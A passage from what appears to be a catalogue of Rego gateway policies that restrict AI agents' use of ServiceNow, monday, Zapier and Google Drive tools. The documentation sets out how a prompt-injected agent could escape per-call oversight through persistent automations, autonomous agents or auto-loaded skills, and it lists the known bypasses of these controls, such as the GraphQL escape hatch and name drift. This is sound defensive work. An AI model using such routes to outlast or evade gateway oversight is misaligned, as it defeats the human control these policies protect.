list_users, list_groups) are deliberately # absent — read exposure belongs to the fence/redaction companions. identity_mutation_suffixes := [ "create_user", "update_user", "create_group", "update_group", "add_group_members", "remove_group_members", ] is_identity_mutation if { some suffix in identity_mutation_suffixes endswith(tool_name, suffix) } # --- Identity (fail closed) --- # Missing subject, missing claims, a missing groups claim, or a groups claim # that is not an array all yield "not an identity admin" — mutations then deny. caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) # Guard on is_array. Without it, `some group in caller_groups` iterates the # *values* of an object-shaped groups claim, so a claim like # {"role": "identity-admins"} would spoof the exemption and fail OPEN. Requiring # an array makes every non-array shape (string, object, number) fail closed — # matching the documented "must be an array of strings" contract. caller_is_identity_admin if { is_array(caller_groups) some group in caller_groups group == identity_admin_group } # Allow any tool that is not an identity-plane mutation (reads such as # list_users, get_user, list_groups stay open for recon-free operation). allow if { not is_identity_mutation } # Allow identity-plane mutations only for members of the identity-admin group. allow if { is_identity_mutation caller_is_identity_admin } reasons contains msg if { is_identity_mutation not caller_is_identity_admin msg := sprintf("ServiceNow identity and group changes are frozen on the agent path — group membership drives ServiceNow ACLs, so user and group mutations are privilege-escalation primitives. Make these changes in the ServiceNow UI, or ask your identity admin to add you to the '%s' IdP group if your role requires making them through the gateway. Contact your InfoSec team if this looks like a false positive.", [identity_admin_group]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Freeze Standing Automation & AI Agents in monday URL: https://www.intentbasedpolicy.com/policies/monday/freeze-standing-automation App(s): monday | Direction: ingress | Bundles: soc2 | Package: monday.ingress.freeze_standing_automation | Published: 2026-07-12 | Tags: monday, constrain-aggregator, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/monday/freeze-standing-automation/policy.md # monday / freeze-standing-automation **Direction:** ingress (`tool_pre_invoke`) **Default:** deny the persistence tools, allow everything else **Package:** `monday.ingress.freeze_standing_automation` ## What it does Denies the monday tools that install side effects which outlive the governed MCP session. Two classes of tool are blocked: - **Standing automations / workflows** — `create_automation`, `manage_automations`, `create_workflow`, `update_workflow`, `plan_workflow`, `publish_workflow`. These create rule-based automations and workflows that keep firing on monday's servers after the agent's session is over. - **Autonomous monday AI agents** — `manage_agent`, `manage_agent_triggers`, `manage_agent_skills`, `manage_agent_knowledge`. These create and configure monday's own AI agents, their triggers, their skills, and the knowledge they act on — agents that keep acting on their own after this session ends. Per the monday landscape note, both classes are a **persistence mechanism that is invisible to per-call governance**: once installed, they act on their own, and no subsequent tool call passes through the gateway for the gateway to inspect. A prompt-injected agent that can install an automation or an autonomous agent has effectively escaped the session boundary. So this policy freezes that self-expanding surface at ingress — neither an agent nor an injected prompt can create one. A designated **platform-admin IdP group** may optionally be allow-listed as the legitimate automation author: callers in that group are permitted to use these tools. The allow-list is read from `input.subject.claims.groups` and **fails closed** — if the claim is missing, empty, or malformed, the caller is treated as not privileged and the persistence tools are denied. Every tool this policy does not target passes through untouched. ## Compliance alignment - **SOC 2 CC6.6** — supports boundary protection against external threats: a self-expanding surface (agent-installed automations, autonomous AI agents) that would let the agent channel keep acting outside the gateway's per-call boundary is frozen, so a prompt-injection or a runaway agent cannot plant a persistent foothold. - **SOC 2 CC6.8** — supports the prevention of unauthorized software: an autonomous monday AI agent or a standing automation is, in effect, new software running in the account; the agent path may not install it without an explicit platform-admin allow-list entry. - **SOC 2 CC9.2** — supports vendor / business-partner risk management: the monday automations and AI agents installed over the agent channel become part of the account's ongoing processing surface; freezing them keeps that surface to what a human deliberately created. ## Tool name matching monday's official server exposes these tools **unprefixed** and in bare snake_case: `create_automation`, `manage_automations`, `create_workflow`, `update_workflow`, `plan_workflow`, `publish_workflow`, `manage_agent`, `manage_agent_triggers`, `manage_agent_skills`, `manage_agent_knowledge`. Behind the DTwo gateway a tool appears as `` and the server-name prefix is not standardized across deployments. The policy therefore matches case-insensitively on `lower(input.resource.name)` as either the **exact** bare name or a **`-` / `_`-separated suffix**, so it tolerates any gateway prefix joined to the tool by a `-` or `_` (`monday-mcp-create_automation`, `monday_mcp_create_automation`) — the two separators DTwo actually emits. A prefix joined by some other character (`.`, `:`, `/`) is **not** matched and passes through; see Known limitations. Requiring a separator before the suffix avoids gluing false positives — the real write tool `link_board_items_workflow` ends in `_workflow` but does **not** end in `-create_workflow` / `_plan_workflow` / any targeted suffix, so it is not denied. These persistence/agent tools are part of the **official** monday MCP registry; the community `sakce/mcp-server-monday` does not expose them. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape This policy inspects only the tool **name** (`input.resource.name`) and the caller's `groups` claim. It reads no tool arguments, so it is insensitive to argument-shape differences and to the fact that several of these tools' exact argument schemas were not verified against source (see Known limitations). A missing `resource`/`resource.name` resolves to `""` via `object.get` and matches nothing; a non-string name is coerced to `""` rather than handed to `lower()` (which would raise a built-in type error). ## Identity The optional allow-list is keyed on the caller's IdP group claim: - `input.subject.claims.groups` is read via `object.get` chains, defaulting to `[]` — a missing `subject`, `claims`, or `groups` yields no groups. - The placeholder admin group is `platform-admin`. Group names are compared case-insensitively. - A missing or malformed (non-array) `groups` claim never grants the exemption: the caller is not privileged and the persistence tools are denied (fail closed). ## Examples ### Allowed — a non-persistence tool ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "monday-mcp-get_board_items_page", "type": "tool" }, "payload": { "name": "monday-mcp-get_board_items_page", "args": { "boardId": 12345 } } } } ``` `allow = true`, no reason. ### Allowed — a platform-admin creating an automation ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "monday-mcp-create_automation", "type": "tool" }, "subject": { "sub": "google-apps|ops@example.com", "claims": { "groups": ["platform-admin"] } }, "payload": { "name": "monday-mcp-create_automation", "args": {} } } } ``` `allow = true`, no reason. ### Denied — an agent installing a standing automation ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "monday-mcp-create_automation", "type": "tool" }, "subject": { "sub": "google-apps|bot@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "monday-mcp-create_automation", "args": {} } } } ``` `allow = false`, automation reason. ### Denied — configuring an autonomous AI agent ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "monday-mcp-manage_agent", "type": "tool" }, "payload": { "name": "monday-mcp-manage_agent", "args": {} } } } ``` `allow = false`, agent reason (no `groups` claim → fails closed). ## Composition This policy is single-purpose: it freezes the persistence/agent surface. Useful companions: - **`apps/monday/default-deny-unknown-tools`** — the outer allowlist gate. If a tenant runs default-deny, these tools are already off the allowlist; keep this policy attached so that even if a write tool is later allowlisted, the persistence tools stay frozen for non-admin callers. - **`apps/monday/fence-sensitive-boards`** — board/workspace IdP-group fencing for the reads and reversible writes this policy leaves untouched. - An **escape-hatch deny** for `all_monday_api` / `all_api_write` / `manage_tools` — without it, an automation could be installed via one raw GraphQL `query` string that this name-based policy never sees (see Known limitations). ## Known limitations - **GraphQL escape hatch bypasses this policy.** `all_monday_api` / `all_api_write` reduce every mutation — including installing an automation or an agent — to one opaque GraphQL string with no tool name this policy targets. Attach the escape-hatch deny companion, or the freeze is defeatable. - **Name-based, argument-agnostic.** The policy trusts the tool *name*, not the behavior behind it. A tool renamed upstream to something not on the suffix list, or a new persistence tool, is not covered until added; pair with `default-deny-unknown-tools` so unaudited names fail closed instead. The exact argument schemas of several of these tools were not verified against source — the policy does not depend on them, but a companion that inspects arguments should confirm shapes with dump-input first. - **`endswith` trusts the suffix with a required separator.** Matching accepts the exact bare name or a `-`/`_`-separated suffix. A tool literally named `-create_automation` (any prefix glued with a separator) matches — the intended portability behavior. A tool that glued a targeted suffix on with no separator would not match; no monday tool does this. **Only `-` and `_` count as separators.** If a gateway ever joined the server-name prefix to the tool with a different character (e.g. `monday.mcp.create_automation`, `monday:create_automation`, `monday/create_automation`), the suffix branch would not fire and the call would pass through — a residual, not a block. DTwo emits `-`/`_` (verified against the model deployments), so this only bites an unusual custom naming scheme; confirm your gateway's actual separator with dump-input before relying on the freeze. A bare, unprefixed name is always caught by the exact-match branch. - **`groups` claim must be an array of strings** under `input.subject.claims.groups`. Any other shape fails closed: a string-valued claim, an object/map claim (even one whose *values* spell `platform-admin`, e.g. `{"role":"platform-admin"}`), or an array containing no matching string element all leave the caller not-admin, so the persistence tools deny. The `caller_is_admin` rule guards with `is_array` before iterating and `is_string` on each element, so a non-string array element is skipped rather than raising a type error. If your IdP emits groups under a different claim name (e.g. a namespaced custom claim), update `admin_groups` and `caller_groups` in the Rego. - **Placeholder group name.** `platform-admin` is a placeholder — replace it with your IdP's actual automation-author group name at import time. If you want *no* exemption at all (freeze for everyone including admins), remove the `caller_is_admin` allow branch. - **Exact upstream suffixes unverified for your gateway.** The bare names are verified from `mondaycom/mcp` source, but the string your gateway sends depends on the configured server name. Confirm with dump-input before relying on it. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package monday.ingress.freeze_standing_automation # Deny-by-default: the persistence/agent tools below are blocked unless the # caller is in an allow-listed platform-admin group. Every tool this policy does # not target is explicitly allowed through. default allow := false # --------------------------------------------------------------------------- # Targeted tools. # # Standing automations / workflows — install rule-based side effects that keep # firing on monday after this session ends. automation_suffixes := [ "create_automation", "manage_automations", "create_workflow", "update_workflow", "plan_workflow", "publish_workflow", ] # Autonomous monday AI agents — created/configured here, then act on their own # after this session ends. manage_agent is listed alongside its sub-tools; the # separator-suffix match keeps them distinct (manage_agent does not match # manage_agent_triggers and vice versa). agent_suffixes := [ "manage_agent", "manage_agent_triggers", "manage_agent_skills", "manage_agent_knowledge", ] # --------------------------------------------------------------------------- # Identity — placeholder platform-admin group, replace at import time. Read via # object.get chains so a missing subject/claims/groups fails closed (not admin). # Lowercased allow-listed group names (compared case-insensitively). admin_groups := {"platform-admin"} caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) # True when the caller holds an allow-listed group. Fails closed on any # malformed groups claim: the claim must be an *array* (an object would let # `some g in ...` iterate its values and spoof admin via a value like # {"role":"platform-admin"}), and each element must be a string before it is # lowercased and checked. A string/object/number groups claim, or an array with # no matching string element, yields not-admin -> deny. caller_is_admin if { is_array(caller_groups) some g in caller_groups is_string(g) admin_groups[lower(g)] } # --------------------------------------------------------------------------- # Tool matching. The gateway prefixes tool names with the configured MCP server # name (separator not standardized), so match the exact name or a `-`/`_`- # separated suffix, case-insensitively. A non-string name is coerced to "" so # lower() is never handed a non-string (which would raise a type error and leave # allow/reason undefined). raw_tool_name := object.get(object.get(input, "resource", {}), "name", "") tool_name := lower(raw_tool_name) if is_string(raw_tool_name) tool_name := "" if not is_string(raw_tool_name) tool_matches(suffix) if { tool_name == suffix } tool_matches(suffix) if { endswith(tool_name, sprintf("-%s", [suffix])) } tool_matches(suffix) if { endswith(tool_name, sprintf("_%s", [suffix])) } is_automation_tool if { some suffix in automation_suffixes tool_matches(suffix) } is_agent_tool if { some suffix in agent_suffixes tool_matches(suffix) } is_persistence_tool if is_automation_tool is_persistence_tool if is_agent_tool # --------------------------------------------------------------------------- # Allow rules. # Any tool this policy does not target passes through untouched. allow if { not is_persistence_tool } # A platform-admin (allow-listed group) may create automations / agents. allow if { is_persistence_tool caller_is_admin } # --------------------------------------------------------------------------- # Deny reasons. reasons contains "This monday tool installs a standing automation or workflow that keeps running after this session ends, which per-call governance cannot see or stop, so the gateway blocks agent and prompt-driven callers from creating one. Have a human set up the automation directly in the monday UI instead. If you are a designated automation author, ask your admin to add your IdP group to this policy's allow-list." if { is_automation_tool not caller_is_admin } reasons contains "This monday tool manages an autonomous monday AI agent that keeps acting after this session ends, which per-call governance cannot see or stop, so the gateway blocks agent and prompt-driven callers from creating or configuring one. Have a human set up the agent directly in the monday UI instead. If you are a designated automation author, ask your admin to add your IdP group to this policy's allow-list." if { is_agent_tool not caller_is_admin } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Freeze the Zapier Toolset (No Self-Expansion) URL: https://www.intentbasedpolicy.com/policies/zapier/freeze-toolset App(s): zapier | Direction: ingress | Bundles: soc2 | Package: zapier.ingress.freeze_toolset | Published: 2026-07-12 | Tags: zapier, constrain-aggregator, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/zapier/freeze-toolset/policy.md # zapier / freeze-toolset **Direction:** ingress (`tool_pre_invoke`) **Default:** deny self-modifying meta-tools for non-admins, allow otherwise **Package:** `zapier.ingress.freeze_toolset` ## What it does In its default agentic mode, Zapier MCP exposes meta-tools that let the agent **widen its own blast radius mid-session**: `enable_zapier_action` and `auto_provision_mcp` add new actions to the toolset, `write_code_action` creates an arbitrary code-execution action, and `create_zapier_skill` / `update_zapier_skill` / `delete_zapier_skill` persist Markdown instructions that future sessions auto-load — a prompt-injection persistence vector that outlives the conversation. This policy denies those six self-modifying meta-tools unless the caller's IdP `groups` claim includes `automation-admins`, converting the self-expanding aggregator into a **fixed-capability connector**. `disable_zapier_action` and every read/execute meta-tool (`execute_zapier_read_action`, `execute_zapier_write_action`, `list_enabled_zapier_actions`, `discover_zapier_actions`, `list_zapier_skills`, `get_zapier_skill`, `get_configuration_url`, `send_feedback`) pass through, so the agent can still exercise — and narrow — its existing toolset, it just cannot grow it. Missing identity claims fail closed: a caller with no `groups` claim (or no claims at all) is not exempt and is denied. ## Compliance alignment - **SOC 2 CC6.6** — supports boundary protection against external threats: the gateway's security boundary around the Zapier connector stays fixed instead of being re-drawable by the agent (or by injected instructions) mid-session. - **SOC 2 CC6.8** — supports the prevention of unauthorized software: `write_code_action` creates arbitrary code-execution actions and `enable_zapier_action` / `auto_provision_mcp` install new capabilities into the agent's toolset; this policy restricts all three to an authorized admin group. - **SOC 2 CC9.2** — supports vendor/business-partner risk management: Zapier is a single vendor surface that can reach 9,000+ downstream apps, and this policy pins what that surface is allowed to become to an admin-controlled configuration. ## Tool name matching The policy matches the six frozen meta-tools by suffix: - `*enable_zapier_action` - `*auto_provision_mcp` - `*write_code_action` - `*create_zapier_skill` - `*update_zapier_skill` - `*delete_zapier_skill` The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `zapier-mcp-enable_zapier_action`), and that prefix is not standardized — matching on the suffix keeps the policy portable. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. `disable_zapier_action` does **not** match the `enable_zapier_action` suffix (the preceding character differs), so narrowing the toolset stays available to everyone by design. ## Argument shape None. This policy decides purely on the tool name and the caller's identity claims — it never inspects `input.payload.args`, so it is immune to argument-shape drift in Zapier's meta-tools. Identity is read via `object.get(input.subject, "claims", {})` and `object.get(claims, "groups", [])`; the `groups` claim is expected to be an **array of strings** as emitted by the tenant's IdP. ## Examples ### Allowed — read/execute meta-tool, any caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zapier-mcp-execute_zapier_read_action", "type": "tool" }, "subject": { "sub": "auth0|dev", "claims": { "groups": ["engineering"] } }, "payload": { "name": "zapier-mcp-execute_zapier_read_action", "args": {} } } } ``` `allow = true`, no reason. ### Denied — non-admin tries to enable a new action ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zapier-mcp-enable_zapier_action", "type": "tool" }, "subject": { "sub": "auth0|dev", "claims": { "groups": ["engineering"] } }, "payload": { "name": "zapier-mcp-enable_zapier_action", "args": { "action": "gmail_send_email" } } } } ``` `allow = false`, `reason = "This Zapier connector's toolset is frozen (...)"`. ### Allowed — automation admin enables a new action ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "zapier-mcp-enable_zapier_action", "type": "tool" }, "subject": { "sub": "auth0|admin", "claims": { "groups": ["engineering", "automation-admins"] } }, "payload": { "name": "zapier-mcp-enable_zapier_action", "args": { "action": "gmail_send_email" } } } } ``` `allow = true`, no reason. ## Composition This policy freezes the toolset's *shape*; it does not constrain what the already-enabled toolset can *do*. Useful companions: - A read-only-posture ingress policy denying `execute_zapier_write_action` for non-approved groups — one rule fences every write across 9,000 apps. - An app-blocklist policy that inspects the action identifier inside `execute_zapier_read_action` / `execute_zapier_write_action` arguments (e.g. deny finance apps outside a finance group). - A content policy that treats the `instructions` argument as content and scans it for non-corporate recipients or PII patterns — Zapier's server-side AI fills unspecified fields from `instructions` after the gateway has already passed the call. - For Zapier's classic (manual configuration) mode, a default-deny-unknown-tools allowlist policy pinned to the per-account tool inventory. ## Known limitations - **Agentic mode only.** The six frozen meta-tools exist only in Zapier MCP's dynamic tool-discovery (agentic) mode. In classic manual-configuration mode the policy is inert but harmless — classic tool names are `_` shapes that do not end in these suffixes. - **Group name is a placeholder.** Replace `automation-admins` with your IdP's real group name at import time, and confirm your IdP actually emits a `groups` claim in the access token (many IdPs require explicit configuration to do so). Callers whose tokens carry no `groups` claim are denied — including would-be admins. - **Group comparison is exact and case-sensitive.** Membership is a whole-string `==` on each `groups` element: `Automation-Admins`, `automation-admins-plus`, or the admin name emitted under a different claim (e.g. `roles`) never match — those callers are denied (fail closed). Match the placeholder to your IdP's group string exactly, including case. - **`groups` must be an array.** If your IdP emits `groups` as a single string or a space-delimited string, the membership check never matches and all callers are denied the frozen tools (fail closed). Adjust the `is_automation_admin` rule if your IdP uses a non-array shape. - **Skill reads still pass.** `list_zapier_skills` / `get_zapier_skill` are allowed, so a previously poisoned skill written before this policy was attached can still be *loaded*. Audit existing skills once when attaching this policy; the freeze prevents new persistence, not the reading of old state. - **Tool names verified against Zapier's official MCP docs** (docs.zapier.com, mid-2026). If Zapier renames or adds self-modifying meta-tools, extend `frozen_suffixes` accordingly — a default-deny-unknown-tools companion policy catches such drift automatically. - **Name drift is the residual bypass.** Suffix matching (`endswith`) is exact on the trailing bytes of `input.resource.name`, so any *extended* variant of a frozen name does **not** match and is allowed — a hypothetical `enable_zapier_action_v2`, but equally a name carrying a trailing space or newline (`enable_zapier_action\n`). Tool names are set by the upstream MCP server, not by the caller, so this is not a caller-controlled bypass on Zapier's hosted server; but this policy cannot anticipate names that do not exist yet. Pair it with the default-deny-unknown-tools allowlist companion if you need drift to fail closed. - **Matching keys on `input.resource.name`.** This is the canonical PARC tool-name field, reliably populated on every `tool_pre_invoke` hook and carrying the same value as the legacy `payload.name` alias. The policy never reads `payload.name`, so it does not depend on the deprecated alias. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package zapier.ingress.freeze_toolset # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # IdP group exempted from the freeze. PLACEHOLDER — map to your tenant's real # IdP group name at import time. admin_group := "automation-admins" # The six self-modifying Zapier meta-tools (agentic mode). Each one lets the # agent change its own capability set: # enable_zapier_action / auto_provision_mcp — add new actions to the toolset # write_code_action — create an arbitrary code-execution action # create/update/delete_zapier_skill — persist instructions future sessions auto-load # Matched by suffix because the gateway prefixes tool names with the configured # MCP server name (e.g. `zapier-mcp-enable_zapier_action`). frozen_suffixes := [ "enable_zapier_action", "auto_provision_mcp", "write_code_action", "create_zapier_skill", "update_zapier_skill", "delete_zapier_skill", ] # The tool being called is one of the frozen self-modifying meta-tools. # Note: `disable_zapier_action` does NOT end with `enable_zapier_action` # (preceding character differs), so narrowing the toolset always passes. is_frozen_tool if { name := lower(input.resource.name) some suffix in frozen_suffixes endswith(name, suffix) } # Caller is an automation admin. Fails closed: if `subject`, `claims`, or # `groups` is missing (or `groups` is not an array), no membership is found # and the caller is not exempt. is_automation_admin if { claims := object.get(input.subject, "claims", {}) groups := object.get(claims, "groups", []) some group in groups group == admin_group } # Pass through every tool that does not modify the toolset — including # disable_zapier_action and all read/execute meta-tools. allow if { not is_frozen_tool } # Automation admins may modify the toolset. allow if { is_frozen_tool is_automation_admin } reasons contains "This Zapier connector's toolset is frozen: enabling actions, provisioning tools, code actions, and Zapier skill changes are restricted to automation admins. Ask an automation admin to provision the action out-of-band, then retry with your existing toolset. If you believe this is a false positive, contact your InfoSec team." if { is_frozen_tool not is_automation_admin } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Gate Google Drive Writes to an Authorized IdP Group URL: https://www.intentbasedpolicy.com/policies/google-drive/role-gate-writes App(s): google-drive | Direction: ingress | Bundles: soc2, gdpr-ccpa | Package: google_drive.ingress.role_gate_writes | Published: 2026-07-12 | Tags: google-drive, role-gate-writes, least-privilege, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/google-drive/role-gate-writes/policy.md # google-drive / role-gate-writes **Direction:** ingress (`tool_pre_invoke`) **Default:** deny; reads pass through, writes require group membership **Package:** `google_drive.ingress.role_gate_writes` ## What it does Baseline least-privilege policy for Google Drive MCP traffic. Read-class tools (search, list, metadata, content reads, downloads) pass through freely for every caller. Every write-class tool **on the covered suffix list** — file/folder creation, uploads, doc/sheet edits, moves, renames, copies, and comments — is denied unless the caller's IdP-issued `groups` claim contains `drive-writers`. This is a blocklist of known write suffixes: a write tool whose name is *not* on the list (see Known limitations) is not classified as a write and passes through, so pair this with a default-deny-unknown-tools policy for a strict posture. A caller with a missing `subject`, missing `claims`, or missing/empty `groups` claim **fails closed**: no group, no write. The check runs at ingress, so a denied write never reaches the Drive MCP server and never creates, modifies, or comments on anything. Why gate writes: Drive writes let an agent plant prompt-injection payloads in documents other agents and users will later read, and stage data into broadly shared folders as a pre-exfiltration step. Comments additionally notify collaborators — including external ones — so even "small" writes are externally visible actions. ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets by restricting Drive modification to an authorized group on the agent channel; **CC6.3** — supports role-based access and least privilege: write access is tied to live IdP group membership, read access is the default posture. - **HIPAA §164.502(b)/§164.514(d)** — supports minimum-necessary, role-based limits on a store that routinely holds PHI exports; **§164.308(a)(4)** — information access management; **§164.312(a)(1)** — access control enforced per call against the caller's identity. - **GDPR Art. 25** — supports data protection by design/default on the agent channel (write capability off by default); **Art. 29 / 32(4)** — supports processing only on the controller's instructions: unauthorized principals cannot direct the agent to alter Drive data. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `gdrive-mcp-create_file`), so this policy matches case-insensitive **suffixes** to stay portable across deployments. Classification reads both the PARC `input.resource.name` field and its co-populated legacy alias `input.payload.name`: a call is write-class if *either* ends with a covered suffix, so the gate still fires if one field is absent. Write-class suffixes covered: - **Google official Drive MCP server / Claude connector:** `create_file`, `copy_file` (the official server exposes no delete/move/rename/permission tools). - **isaacphi/mcp-gdrive:** `gsheets_update_cell`. - **piotr-agier/google-drive-mcp:** `createtextfile`, `updatetextfile`, `uploadfile`, `createfolder`, `moveitem`, `renameitem`, `copyfile`, `creategoogledoc`, `updategoogledoc`, `inserttext`, `appendspreadsheetrows`, `updategooglesheet`, `addcomment`, `replytocomment`. Anything not on the write list — including all read tools and unknown tools — passes through. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production, and add suffixes here if your Drive server exposes additional write tools. ## Identity shape The policy reads `input.subject.claims.groups` and expects an **array of group name strings** (the common IdP shape). Membership is checked with an exact, case-sensitive string match against `drive-writers`. All lookups use `object.get` chains, so a missing `subject`, `claims`, or `groups` resolves to an empty list and the write is denied. The membership check additionally requires `groups` to be a JSON **array** (`is_array`): a `groups` value that arrives as a single string or as an object map fails the array check and is denied (fail closed), so it cannot grant a write by value collision. ## Argument shape This policy decides on the tool name and the caller's identity only; it does not inspect tool arguments, so it is insensitive to argument-name differences across Drive server implementations. ## Examples ### Allowed — read tool, no identity needed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gdrive-mcp-search_files", "type": "tool" }, "payload": { "name": "gdrive-mcp-search_files", "args": { "query": "quarterly report" } } } } ``` `allow = true`, no reason. ### Allowed — write tool, caller is in `drive-writers` ```jsonc { "input": { "action": "tool_pre_invoke", "subject": { "sub": "google-apps|ana@acme.com", "claims": { "groups": ["drive-writers"] } }, "resource": { "name": "gdrive-mcp-create_file", "type": "tool" }, "payload": { "name": "gdrive-mcp-create_file", "args": { "name": "notes.txt" } } } } ``` `allow = true`, no reason. ### Denied — write tool, caller has no `groups` claim ```jsonc { "input": { "action": "tool_pre_invoke", "subject": { "sub": "google-apps|bob@acme.com", "claims": { "email": "bob@acme.com" } }, "resource": { "name": "gdrive-mcp-create_file", "type": "tool" }, "payload": { "name": "gdrive-mcp-create_file", "args": { "name": "notes.txt" } } } } ``` `allow = false`, `reason = "Google Drive write tools are restricted to members of the 'drive-writers' group. ..."`. ## Composition This policy is single-purpose: it gates write-class tools by group. Useful companions: - [`freeze-destructive-ops`](../freeze-destructive-ops/policy.md) — handles the destructive tier (`deleteItem`, `deleteSheet`, `deleteRange`, ...); this policy deliberately does not cover deletes. - An egress PII/secret redaction policy on Drive content-returning tools (`read_file_content`, `download_file_content`, `gdrive_read_file`), since bulk read is Drive's primary exfiltration risk. ## Known limitations - **Group name is an import-time placeholder.** Replace `drive-writers` with your IdP's real group name (in `authorized_write_group` and the deny reason) when importing. The match is exact and case-sensitive. - **`groups` must be an array of strings under the `groups` claim key.** IdPs that emit the claim as a single space- or comma-separated string, as an object map, or under a namespaced key (e.g. `https://acme.com/groups`) will never match, so **all writes are denied (fail closed)** — a safe direction, but it locks out legitimate writers until you adjust. If your IdP uses a namespaced or differently named group claim, change the `object.get(claims, "groups", [])` key in `caller_may_write` to match. Confirm your IdP's claim shape and key with `dtwo-list-claims` or the dump-input technique. - **Official-server argument field names are unverified.** Google's reference does not publish per-tool parameter schemas; this policy avoids argument inspection for that reason, but companions that inspect Drive arguments should verify shapes via `tools/list` first. - **Claude connector write-tool suffixes are unverified.** The landscape note flags that the Anthropic-hosted "Google Drive" connector's tool suffixes are not verified against official Anthropic docs and diverge between write-ups (e.g. `get_metadata` vs `get_file_metadata`). This policy assumes the connector's create tool matches the Google-server suffix `create_file`; if it instead ships the write under a different suffix, that write passes through ungated (the same blocklist residual described below). Confirm the connector's live write-tool names with `tools/list` and add any divergent suffix to `write_suffixes`. - **Generic suffixes can over-match on shared pipelines.** Suffixes like `uploadfile`, `copyfile`, or `addcomment` may also match similarly named tools from non-Drive MCP servers attached to the same pipeline, gating them too. That failure mode is deny-for-non-members (safe direction), but scope the pipeline or tighten the suffixes if it bites. - **Destructive tools are out of scope.** Deletes are governed by the companion `freeze-destructive-ops` policy, not here. - **Blocklist residual — unlisted write tools pass through ungated.** Enforcement is a curated allowlist of *write suffixes*; any write tool whose name is not on that list is treated as a read and passes through for every caller. Concrete residuals on real servers: the multi-product `piotr-agier/google-drive-mcp` server also exposes Slides content writes and calendar writes (`createCalendarEvent`, `updateCalendarEvent`) that this Drive-scoped policy does **not** gate, and any newly added, renamed, or preview upstream write tool is ungated until its suffix is added here. This is the standard blocklist weakness and the reason the coverage matrix pairs PF-12 with **PF-28 (`default-deny-unknown-tools`)**: attach a default-deny-unknown-tools companion (and route calendar/Slides writes through their own app policies) if you need a guarantee that *no* unrecognized write reaches Drive. Verify your gateway's live tool inventory with `tools/list` and extend `write_suffixes` accordingly. - **A call with no resolvable tool name at all passes through.** Classification reads both `input.resource.name` and its legacy alias `input.payload.name`; a call is only unclassifiable (and therefore allowed) when **both** fields are absent or empty — fail-open on classification, not on identity. The gateway populates both for every dispatched tool call, so this is not reachable by a normal caller, and a companion default-deny-unknown-tools policy also closes it. > **Compliance note.** This policy supports alignment with the cited framework > controls **on the MCP path only**. No policy or bundle makes an organization > compliant with any framework; web-UI, native-API, and in-app access are outside > the gateway's reach by design. Validate against your own compliance program > before relying on it. ```rego package google_drive.ingress.role_gate_writes # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # IdP group whose members may call Google Drive write tools. # PLACEHOLDER — replace with your IdP's real group name at import time # (and update the deny reason below to match). authorized_write_group := "drive-writers" # Write-class tool suffixes across the Drive MCP servers in real use. # The gateway prefixes tool names with the configured server name, so we # match case-insensitive suffixes for portability. Read-class tools are # intentionally absent — anything not listed here passes through. write_suffixes := [ # Google official Drive MCP server / Claude connector "create_file", "copy_file", # isaacphi/mcp-gdrive "gsheets_update_cell", # piotr-agier/google-drive-mcp (camelCase upstream; compared lowercased) "createtextfile", "updatetextfile", "uploadfile", "createfolder", "moveitem", "renameitem", "copyfile", "creategoogledoc", "updategoogledoc", "inserttext", "appendspreadsheetrows", "updategooglesheet", "addcomment", "replytocomment", ] # Candidate tool-name fields, lowercased. `resource.name` is the PARC field; # `payload.name` is its co-populated legacy alias (both are set on tool hooks). # Classifying on either means a write is still caught if one field is absent — # this only ever moves a call toward the write class (deny for non-members), # never the reverse, so it cannot introduce a new allow. tool_name_candidates contains lower(n) if { n := object.get(object.get(input, "resource", {}), "name", "") n != "" } tool_name_candidates contains lower(n) if { n := object.get(object.get(input, "payload", {}), "name", "") n != "" } # A tool call is write-class when any candidate name ends with a listed suffix. is_drive_write_tool if { some name in tool_name_candidates some suffix in write_suffixes endswith(name, suffix) } # Caller is authorized to write: the IdP-issued `groups` claim contains the # authorized group. object.get chains make missing subject/claims/groups # resolve to an empty list, so absent identity fails closed (no group, no write). caller_may_write if { claims := object.get(object.get(input, "subject", {}), "claims", {}) groups := object.get(claims, "groups", []) # Require the documented array-of-strings shape. Without this guard a # `groups` object map whose *value* equals the group name (e.g. # {"role": "drive-writers"}) would satisfy `some group in groups` # (which iterates object values) and grant the write. is_array makes # every non-array shape (single string, object map) fail closed, matching # the Identity-shape contract documented above. is_array(groups) some group in groups group == authorized_write_group } # Read-class and unknown tools pass through freely. allow if { not is_drive_write_tool } # Write-class tools require membership in the authorized group. allow if { is_drive_write_tool caller_may_write } reasons contains "Google Drive write tools are restricted to members of the 